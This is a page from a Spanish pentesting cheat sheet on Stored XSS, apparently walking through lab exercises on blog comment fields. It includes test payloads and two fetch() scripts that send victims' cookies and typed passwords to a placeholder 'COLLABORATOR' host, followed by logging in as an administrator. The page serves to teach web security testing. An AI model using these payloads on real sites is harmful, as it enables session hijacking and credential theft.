🏴‍☠️
Cheat Sheet
  • Pentesting Infraestructura
    • Information Gathering
  • Recopilación de información
  • Escaneo
  • Enumeración
  • Evaluación de vulnerabilidad
  • Explotación
    • Explotación de Entornos Windows
    • Explotación de Entornos Linux
    • Conexión remota
  • Post Explotación
    • Escalación de Privilegios en entornos Windows
    • Persistencia en entornos Windows
    • Escalación de Privilegios en entornos Linux
    • Pivoting
  • Misceláneos
  • Pentesting Web
    • Information Gathering
      • Passive Information Gathering
      • Active Information Gathering
    • Vulnerabilidades
      • Cross-Site Scripting (XSS)
        • Reflected XSS
        • Stored XSS
      • SQL Injection (SQLi)
        • Cheat Sheet SQLi
        • Atacando la vulnerabilidad SQLi
        • SQLMap
Powered by GitBook
On this page
  • Impacto del ataque de un Stored XSS
  • Stored XSS en contexto HTML sin nada codificado
  • Stored XSS en el tag anchor con atributo href con comillas dobles codificado en HTML
  • Explotación de XSS para robar cookies
  • Explotando XSS para capturar contraseñas
  1. Pentesting Web
  2. Vulnerabilidades
  3. Cross-Site Scripting (XSS)

Stored XSS

PreviousReflected XSSNextSQL Injection (SQLi)

Last updated 2 years ago

Stored XSS (o Persistent XSS) se produce cuando el payload inyectado es almacenado en la base de datos del back-end y es consumido por cada visitante de la página web.

Impacto del ataque de un Stored XSS

Si un atacante puede controlar un script que es ejecutado en el navegador de la víctima, puede comprometer a dicho usuario. En este caso, el atacante puede llevar a cabo cualquier acción aplicada al Impacto del ataque de un Reflected XSS.

En términos de explotabilidad, la diferencia clave entre el Reflected XSS y el Stored XSS es que una vulnerabilidad Stored XSS permite ataques que están autocontenidos dentro de la propia aplicación.

Stored XSS en contexto HTML sin nada codificado

El siguiente sitio posee un Stored XSS en la función de comentarios.

Al revisar el sitio, vemos que este es un blog, el cual, posee múltiples post:

Al ingresar a uno de los posts, vemos que tiene la opción de dejar comentarios:

Validamos si podemos modificar estos campos usando etiquetas HTML agregando el tag H1 en el nombre y en el comentario:

Como se puede apreciar, la etiqueta se refleja en la sección comentario y no en el nombre, debido a que, en el nombre, los caracteres se encuentran codificados en HTML:

Ahora le agregamos el siguiente payload para poder explotar el XSS:

<script>alert(1)</script>

Este se ve reflejado en la respuesta:

Y cada vez que alguien consuma este post, el script será ejecutado:

Stored XSS en el tag anchor con atributo href con comillas dobles codificado en HTML

El siguiente sitio posee un Stored XSS en la función de comentarios.

Al revisar el sitio, es un blog, el cual, posee múltiples post:

Al ingresar a uno de los posts, vemos que tiene la opción de dejar comentarios:

Ingresamos datos para validar como son procesados:

Vemos que se reflejan los datos ingresados en los parámetros Comment, Name y Website:

En el parámetro Website usamos el siguiente payload javascript:alert(1):

Este payload no es codificado en la respuesta:

Al momento de hacer clic en el enlace, se explota el XSS:

Explotación de XSS para robar cookies

Al revisar el sitio, es un blog, el cual, posee múltiples post:

Al ingresar a uno de los posts, vemos que tiene la opción de dejar comentarios:

<script>
fetch('https://COLLABORATOR', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

Vemos que lo ingresado se refleja en la respuesta:

Al revisar Collaborator, vemos que en el body del request se mandan las cookies del usuario que está revisando el post:

Estas cookies las podemos agregar a nuestro cookie jar para personificar a dicho usuario:

Explotando XSS para capturar contraseñas

Al revisar el sitio, es un blog, el cual, posee múltiples post y un login:

En el login, vemos que se encuentran los inputs para el username y el password:

En los posts posee una opción para dejar comentarios:

En la porción de comentarios agregamos el siguiente payload para obtener las credenciales de algún usuario:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Al revisar los mensajes recibidos en el Collaborator, vemos que tenemos las credenciales del usuario administrator:

Ingresamos las credenciales en el portal de login y accedemos a la cuenta de dicho usuario:

En la sección comentarios agregamos el siguiente payload con una dirección de la herramienta :

Collaborator
Web Site
Campo de comentarios
Tags HTML
Tags reflejados
Tags reflejados en la respuesta
Payload
Payload reflejado
Ejecución del payload
Sitio web
Comentarios
Datos enviados
Datos reflejados
Payload
Payload reflejado
XSS
Sitio web
Comentarios
Payload
Datos reflejados
Collaborator
Cookie jar
Sitio web
Login
Comentarios
Payload
Collaborator
Login
Acceso a la cuenta de usuario